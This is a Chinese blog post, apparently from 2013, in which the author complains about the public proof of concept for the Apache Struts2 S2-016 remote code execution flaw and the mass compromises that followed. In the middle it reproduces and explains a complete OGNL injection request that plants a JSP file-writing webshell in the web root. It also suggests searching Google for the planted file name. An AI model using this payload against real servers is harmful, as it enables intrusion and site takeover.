昨天struts2的漏洞被公布,官方发了公告并给出了POC。
http://struts.apache.org/release/2.3.x/docs/security-bulletins.html
漏洞代号S2-016和S2-017,其中S2-106的描述中提到“allows remote command execution”,即远程命令执行。漏洞分析地址:http://www.inbreak.net/archives/507。空虚浪子心(腾讯微博)已经发了很详细的分析。
之所以写这个,其实纯粹是为了吐槽。
之前S2-012的RCE也没这么疯狂过,群里一帮人各种讨论,各种工具。
一时间,跪了的网站不计其数,影响面包括各大电商和银行网站。
在乌云上struts2漏洞直接刷屏,各种白帽子开始刷分。
作为一个0rank的实习白帽子我压力很大啊。
负责任的漏洞披露啊!!
同志们啊!!!
这么突然struts2的漏洞就满天飞了!!!
这绝壁是0day啊,官方放出的POC,简直是赤裸裸啊,根本没有利用门槛啊!!!
为什么要贴这种POC呢?有多少人在加班升级版本啊?!!
TP2原来也有个REC,某牛贴出来的时候用了phpinfo的例子,附带了一句:利用需要门槛。
这尼玛需要个蛋的门槛啊!!!
还有人兴致勃勃的讨论这getshell,我看到的居然都是先往根目录写一个上传脚本,再在本地构造一个上传form上传大马!!!
这是闹哪样啊,还有人在不停的求getshell工具!!
都能写上传脚本了,为什么不直接写马啊!!!
==========以上为不淡定的咆哮体============
http://zone.wooyun.org/content/5182
上面是乌云的getshell讨论。 代码urldecode是这样的:
?redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#p=(#req.getRealPath("/")+"css3.jsp").replaceAll("\\\\", "/"),new java.io.BufferedWriter(new java.io.FileWriter(#p)).append(#req.getParameter("c")).close()}&c=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
来翻译一下就是: 把
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
写到网站根目录下的css3.jsp。
css3.jsp里面的这段代码说的是把t的代码写到根目录的f文件下。
乃们有意思吗。。。。
google hack下css3.jsp,连上传的时间都省了。
看了这个讨论贴才明白,真心是利用起来有门槛,很多人只知道cat /etc/passwd或者先爆物理路径再wget。
学一点java会死啊。。。放出来上传的脚本又是作死呢?直接加快了网站沦陷的速度,这也不符合负责任的漏洞披露啊!!!
EXP用Swing写好了,其实所谓的exp不过是一次HTTP请求,一点难度都没有。 写个利用工具,也无非是锻炼下Swing,唉,Swing才是我的痛啊。。。
留言交流